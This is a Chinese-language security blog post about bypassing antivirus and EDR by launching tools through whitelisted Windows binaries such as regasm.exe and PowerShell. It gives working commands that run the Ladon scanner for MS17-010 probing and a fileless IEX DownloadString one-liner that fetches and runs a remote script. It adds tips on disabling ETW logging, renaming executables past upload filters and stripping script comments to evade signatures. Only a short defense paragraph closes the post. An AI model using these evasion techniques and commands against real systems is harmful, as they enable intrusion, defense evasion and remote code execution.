白加黑免杀
白加黑一般是木马或病毒利用白名单程序绕过杀软主动防御查杀,如CS、MSF、Ghost,还有这几年的新名词C2等。病毒借助那些带数字签名且在杀毒软件白名单内的exe程序去加载自己带有恶意代码如dll,便能获得杀毒软件主动防御的自动信任,从而成功加载到系统中。
白名单
最靠谱最通用的白名单程序无疑是系统自带程序,如rundll32、PowerShell、Wmic、Mshta.exe、 Regsvr32、Regsvcs、Regasm、PsExec、 Cmstp.exe、exploer、svchost等,第2梯度如office系列、rar、7z、输入法、mysql、sqlser、oracle、python、java等安装量较高的软件。像svchost、rundll32这种,特别是svchost任何机器默认都会启好几个进程,所以从XP时代开始至今大量木马病毒,都会注入svchost、exploer进程或者对其进行DLL却持加载恶意代码,所以svchost和exploer也会被大量杀软和研究人员优先针对,意味着对它注入又防止被杀或人为分析要求更高,但要是使用杀软关注少的白名单进程,难度小成功率也会更高一些。
PS:上面提到的白名单,早已公开多年,不管是ATT&AK还是各种公众号这些白名单使用教程满天飞,那么多方法,不要傻傻只用Rundll32了。
rundll32现在基本是个渗透都知道,因为默认不启动,一旦看到系统里出现rundll32有可能就是谁谁的CS或其它M,大家都喜欢用它来启动M,简单粗暴。是个人都知道,那写杀软和EDR的,他们不知道吗?知道大量恶意软件使用会不监视这个被大量滥用的进程所执行的命令吗?技术门槛越低,被管理员发现的概率越大,甚至管理员是SB,整个过程不用出手,杀软就把你干了。大家都会可能几十个杀软都关注这个进程,你换一个如本文将要使用的regasm,可能有些杀软没监控,可能一些行为减分。
关于白名单技术,很多本文没有列举,感兴趣可以参考ATT&CK和各种所谓APT文章里看,早期白加黑利用,基本都是DLL却持,一个正常EXE加恶意DLL,DLL就是你的CS或其它马,经过各种加密后再加载。
为什么白名单大部分都是DLL?
一是因为大部分白加黑技术都是DLL或COM却持,DLL或COM却持不管是现在还是未来依旧是白名单持久化必不可少的方法,如果却持系统自带白名单程序都不能绕过杀软和EDR,那还能有什么方法能用于自启程序?白名单都拦截,意味着第3方或自己写的程序属于白名单以外的未知程序,就像我上一篇文章提到的防御方法,哪怕你是0day都没法执行。所以不要把杀软和EDR甚至管理员想得那么夸张,牛到天上去,说什么劫持过时了。系统那么多白名单程序,目前哪个杀软能全面监控,防止却持?有时杀软自身也存在却持漏洞,所谓 EDR也是各种后台动不动就RCE漏洞。能用一个公开多年的方法维持权限,好几个月,本就已充分说明管理员水平不牛、杀软和EDR能力也不行,稍微有点水平的,3天不到权限就掉,实在找不出问题,他可以直接还原重装,哪有给你用搞几个月的机会?
二是因为直接EXE风险值更高,打个比方,看到一个人拿枪或刀,你看到了会怎样?跑还是报警,是不是你会把它列为可疑人员,除非是军人或警察。EXE好比拿着枪的人,你自己写的EXE意味着人和枪或者说枪和弹药都放在一起,是不是危险系数高啊?看到肯定要查啊。
DLL好比只是枪或刀,你在某个地方看到枪觉得它有危险吗,它又不能自己开枪打不了你,就像杀软在系统看到DLL,对它查杀没有EXE那么严格。所有做DLL的免杀要比自己写的EXE难度要小。DLL却持白名单EXE就好比坏人劫持了合法拿枪的人,人们看到有提防心理吗?任任度高啊,肯定没有
一句话: EXE有独立执行主动威胁能力,DLL无主动威胁(依赖EXE)
白名单 Regasm.exe(程序集注册工具)
程序集注册工具读取程序集中的元数据,并将所需项添加到注册表中。注册表允许 COM 客户端以透明方式创建 .NET Framework 类。在注册一个类之后,任何 COM 客户端都可以像使用 COM 类一样使用它。类仅在安装程序集时注册一次。只有实际注册程序集中的类实例之后才能从 COM 中创建它们。
语法
控制台
regasm assemblyFile [options]
参数
说明
assemblyFile 要向 COM 注册的程序集。
描述
在注册表中创建一个 Codebase 项。Codebase 项指定未安装到全局程序集缓存中的程序集的文件路径。如果随后将安装要注册到全局程序集缓存中的程序集,请勿指定此选项。强烈建议用 /codebase 选项指定的 assemblyFile 参数是具有强名称的程序集。
指定此工具将仅引用已经注册的类型库。
directory 指定包含程序集引用的目录。必须与 /regfile 选项一起使用 。 :
取消显示 Microsoft 启动版权标志。
[: regFile] 为程序集生成指定的 .reg 文件,其中包含所需的注册表项。指定此选项将不会更改注册表。此选项不能与 /u 或 /tlb 选项一起使用 。
或 /s 取消显示成功消息。
[: typeLibFile] 从指定的程序集生成类型库,该类型库包含在程序集中定义的可访问类型的定义。
或 /u 注销在 assemblyFile 中找到的可创建类 。省略此选项将使 Regasm.exe 注册程序集中的可创建类。
指定详细模式;当与 /tlb 选项一起指定时,将显示所有需要为其生成类型库的引用程序集的列表 。
或 /help 显示该工具的命令语法和选项。
备注
命令行选不区分大小写。只需提供足以唯一地进行标识的选项部分。例如,/n 等效于 /nologo,而 /t: outfile.tlb 等效于 /tlb: outfile.tlb。
whoami查看权限
CMD下用法为: Ladon whoami 对应Regasm用法如下
C:WindowsMicrosoft.NETFramework64v4.0.30319regasm.exe /U Ladon.exe whoami
探测MS17010漏洞
用法也是非常简单,只需在/U后面填写对应Ladon命令
C:WindowsMicrosoft.NETFramework64v4.0.30319regasm.exe /U Ladon.exe 192.168.50.166 ms17010
regasm方法对哪些杀软有效,Ladon的哪些模块能有效绕过防御,我也不清楚,大家自行测试。毕竟该方法也公开了好多年,加上Ladon是exe不是 dll,而且是有大量功能,又不只是一个cmd加文件管理或几个简单功能,里面大量的POC本身就会被杀或被拦。反正通过一个白名单进程来启动,全球70多个杀软和各种EDR,肯定有些是因为白名单启动而不拦截一些行为的,新版本查杀的杀软,可能旧版不杀不拦呢。有些EDR可能本来也不拦截,但为什么还要白名单执行呢?因为edr不杀不拦,但有可能会记录未知程序执行过程,通过regasm有可能不记,或者可能也有记录,但管理员看到是系统程序,会跳过,因为它可能要分析几十台甚至上百台机器综合到EDR管理后台的日志,大量日志面前,假如你是管理员你会如何分析?肯定先看自己看得懂,或高危漏洞、密码爆破、登陆等事件日志啊,有些自以为正常的,大概率是跳过啊,何况很多管理员是SB,可能EDR不报警,杀软不杀的,他就完全不管,可能从头到尾都不看日志。
Ladon 10.10开始默认 禁用ETW和.NET日志,能防止一些杀软和EDR对日志监控。目前来说,就算不禁用,实际上很多管理员看到,有个CLR程序加载,他也压根不知道是什么,因为日志只是记录了有个CLR加载,并没有命令参数等行为信息,对90%的技术人员来说就是一个正常日志,甚至连日志记录在哪都不知道,信不信正在看文章的一些人也知道。对于程序来说,它看不到有CLR加载,可能就不会去监控对应CLR程序执行了什么命令,所以说有这功能有和没有,区别还是很大的。
绕过EXE禁止执行命令
小技巧遇到限制EXE的,就是看到上传文件是exe就删除或禁止访问,可以改名为txt或jpg等任意格式,在cmd下执行命令是不看后缀的,原文件是什么就按什么来执行,当然是通过API来限制的就没用。这种只对管理员写的小程序监视发现exe或dll就删除或拦截的情况,还做不到真正拦截。
Regasm执行也是一样
0x002 PowerShell白名单
如果有被一些杀软或EDR拦截查杀,也可以试powershell版,有些杀软可能根据注释来杀,PS1脚本里的注释是可以随意删除的,不影响功能,目前来说最新版,并没有被Win11 Pro最新版Defener和360杀,Defender还好起码杀旧版的ps1,360两年前的ps1都不杀。当然各有各的强处和缺点。比如执行net user添加用户命令,Defender不拦,360会拦。所以说,并不是说方法公开多少年,就一定被杀软查杀或拦截,白名单杀软不敢无脑拦截,就是宁杀错不放过,这是没实力的杀软才这样做。所以只要自身的payload是免杀的,通过白名单启动,它更没理由杀。它不能看到powershell进程加载一个ps1就拦截吧,别人正常PS1怎么办?
本机执行 (需上传ps1到目标)
powershell -exec bypass Import-Module .Ladon.ps1;Ladon 192.168.1.1/24 ms17010
远程内存加载 无落地文件扫描
Ladon web 800 监听,使用以下命令执行即可,整个过程不落地
powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.8:800/Ladon.ps1'); Ladon 192.168.1.1/24 ms17010"
防御
限制只有经过授权的应用程序或用户才能启动 "regasm" 进程,可以防止意外或错误操作对系统造成的损害。只有具备合适权限的人员才能执行相关操作,降低了系统被滥用的风险。
毛豆--疯狂模式-对未知程序-完全拦截,黑客无法通过regasm执行payload,regasm是.net运行时自带的程序,杀软或EDR可能放行,但毛豆不会,它放行的前提是使用者,自己勾选允许永久使用才不拦截。
毛豆配置参考: Safe008一键安全加固 防止黑客横向攻击
原文始发于微信公众号(K8实验室):Regasm白名单执行Ladon
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论